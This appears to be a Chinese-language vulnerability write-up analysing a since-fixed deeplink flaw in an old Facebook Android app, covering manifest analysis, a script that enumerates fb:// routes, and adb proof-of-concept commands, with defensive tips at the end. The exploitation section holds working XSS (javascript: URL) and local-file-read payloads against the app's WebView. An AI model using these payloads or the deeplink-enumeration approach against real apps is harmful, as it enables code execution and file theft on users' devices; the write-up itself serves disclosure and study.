Facebook任意JS代码执行漏洞原理与利用分析

2018-10-03 146703人围观 漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

前言

最近FB Android应用爆出了一个任意JS代码执行的漏洞,着手分析了一下,也挺有趣,分享学习一下,有不当之处还请包涵,欢迎讨论学习。

0×00 概述

测试环境:

Android 4.4 nexus 5

测试版本:

Facebook com.facebook.katana_186.0.0.48.81.apk

测试版本下载:

9Apps

0×01 漏洞原理

根据漏洞的简单描述,得知漏洞起因依旧是deeplink的问题,如果对这方面知识不熟悉,可以参考我的其他文章。

既然是deeplink,切入的思路从AndroidManifest.xml也是比较正常的思路。通过搜索”<data”、”android:scheme”等关键词,可以定位到关键的activity:

activity
    android:theme="@7F1D0588"
    android:name="com.facebook.katana.IntentUriHandler"
    android:taskAffinity="com.facebook.task.IntentUriHandler"
    android:excludeFromRecents="true"
    android:launchMode="3"
    >
    <intent-filter
        >
        <action
            android:name="android.intent.action.VIEW"
            >
        </action>
        <category
            android:name="android.intent.category.DEFAULT"
            >
        </category>
        <data
            android:scheme="facebook"
            >
        </data>
    </intent-filter>
    <intent-filter
        >
        <action
            android:name="android.intent.action.VIEW"
            >
        </action>
        <category
            android:name="android.intent.category.DEFAULT"
            >
        </category>
        <category
            android:name="android.intent.category.BROWSABLE"
            >
        </category>
        <data
            android:scheme="fb"
            >
        </data>
    </intent-filter>

    ...省略android:scheme=http/https


    <intent-filter
        >
        <action
            android:name="android.intent.action.VIEW"
            >
        </action>
        <category
            android:name="android.intent.category.DEFAULT"
            >
        </category>
        <category
            android:name="android.intent.category.BROWSABLE"
            >
        </category>
        <data
            android:scheme="dialtone"
            >
        </data>
    </intent-filter>
</activity>

分析可知:

该Apk有三个scheme,但只有两个有属性android:name=”android.intent.category.BROWSABLE,因此可以通过浏览器打开的只有”fb”、”dialtone”;

自然,切入com.facebook.katana.IntentUriHandler查看究竟;

这里有个小问题,直接打开jeb是无法找到这个类的,直接找台root手机在内存中把dex抠出来,或者在app的data/dex目录下都可以拿到dex文件;

拿到了总共12个dex文件;

全部加载进jeb,搜索关键字即可。

但是存在问题就是分散的dex,jeb无法进行关联,因此大部分会反编译失败,只能阅读smali代码,或者另一种思路,即是将其合并成一个完整的dex。

这里我们进行另一个思路,我们可以全局搜索fb://关键字,看看有什么关键的信息。

搜索后我们发现assets/Bundle-fb4.js.hbc,通过分析该文件,找到了大量的fb协议deeplink。

fb://embedded_native_browser?url=https%3A%2F%2Fwww.buzzfeed.com%2FsigninePatchImaget

fb://marketplace_product_details_from_for_sale_item_id?forSaleItemID=blink_informatStringetMonthNamesTrying

fb://adsmanager/image/select/{page}/test_portal_pickergb(251, 114, 75) 

fb://ama?entryPoint=BOOKMARK&targetURI=%2FywV1681912765254542690646773064807605154172325604775729VXkLTLove

我们再继续搜索关键词embedded_native_browser、ama等等。

发现另一个文件react_native_routes.json存在大量可利用的特征:

{
    "name": "AMAShellRoute",
    "navigationOptions": {
      "fb_hidesTabBar_POST_IN_IOS_NAVIGATION_BEFORE_USING": "<fb_hidesTabBar>",
      "fb_showNavBarSearchField": false,
      "presentationMethod": "<presentationMethod>"
    },
    "path": "/ama",
    "paramDefinitions": {
      "entryPoint": {
        "type": "String",
        "required": false
      },
      "fb_hidesTabBar": {
        "type": "String",
        "required": false
      },
      "presentationMethod": {
        "type": "String",
        "required": false
      },
      "targetURI": {
        "type": "String",
        "required": false
      }
    },
    "access": "exported"
  },

从名字也可知道这是关键的路由url,由于文件比较长,我们可以自动化脚本处理一下,自动化生成deeplink。

import json

with open('1.json',"rw") as load_f:
    load_dict = json.load(load_f)
    for x in xrange(0,len(load_dict)):
        param = ''
        keys = load_dict[0]['paramDefinitions'].keys()
        for y in xrange(0,len(keys)):
            param = param + keys[y] + '=' + load_dict[0]['paramDefinitions'][keys[y]]['type'] + '&'

        url = 'fb:/' + load_dict[x]['path'] + '/?' + param

结果节选:

fb://ama/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://aymtinstadeck/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://activitylog_edit_privacy/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://activitylogfiltered/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://activitylog/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://pagesadminhelp/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://canvaseditor/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://adsmanager/{account}/insights/{adObject}/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://adsmanager/image/select/{page}/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_add_bank_account/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_add_credit_card/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_add_paypal/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_billing_date/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_billing_date_saved/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_brazil_address_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_brazil_tax_id/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_checkout_receipt/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_checkout_payment_receipt/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_checkout/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_collect_tax_details/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_country_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_add_card/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_currency_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_direct_debit_country_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_flow/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_gst_id/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_prepay_business_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_prepay_client_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_prepay_disclaimer/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_prepay_funding/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_prepay_payment_status/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_redeem_coupon/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_select_payment_method/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://ads_payments_UK_direct_debit_guarantee/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

fb://author_publisher_settings_add_publications_modal/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String

总共有521个链接

0×02 漏洞利用

根据上面的脚本跑出来的url,可以在其基础上,随机初始化参数后,自动化跑模拟器或真机,观察结果。

Payload:

adb shell am start -a "android.intent.action.VIEW" -d "fb_url"

找出其中一些比较有利用价值的payload:

adb shell am start -a "android.intent.action.VIEW" -d "fb://payments_add_paypal/?url={STRING}"

adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}"

adb shell am start -a "android.intent.action.VIEW" -d "fb://ads_payments_prepay_webview/?account={STRING}\&contextID={STRING}\&paymentID={STRING}\&url={STRING}\&originRootTag={INTEGER}"

adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com"

由于墙内的原因(你懂的),最终效果引用原作者的图

XSS 攻击Payload

adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"

XSS 攻击Payload

LFI 攻击Payload

adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt"

LFI 攻击Payload

0×03 漏洞防御

1、尽量不要使用 setJavaScriptEnable(true)。

2、尽量使用加密的方式存储deeplink路由信息等等关键信息。

3、进行非法来源检测。

4、不要点击来历不明的超链接。

0×04 参考

Breaking the Facebook for Android application

*本文作者:Tasfa,转载请注明来自FreeBuf.COM

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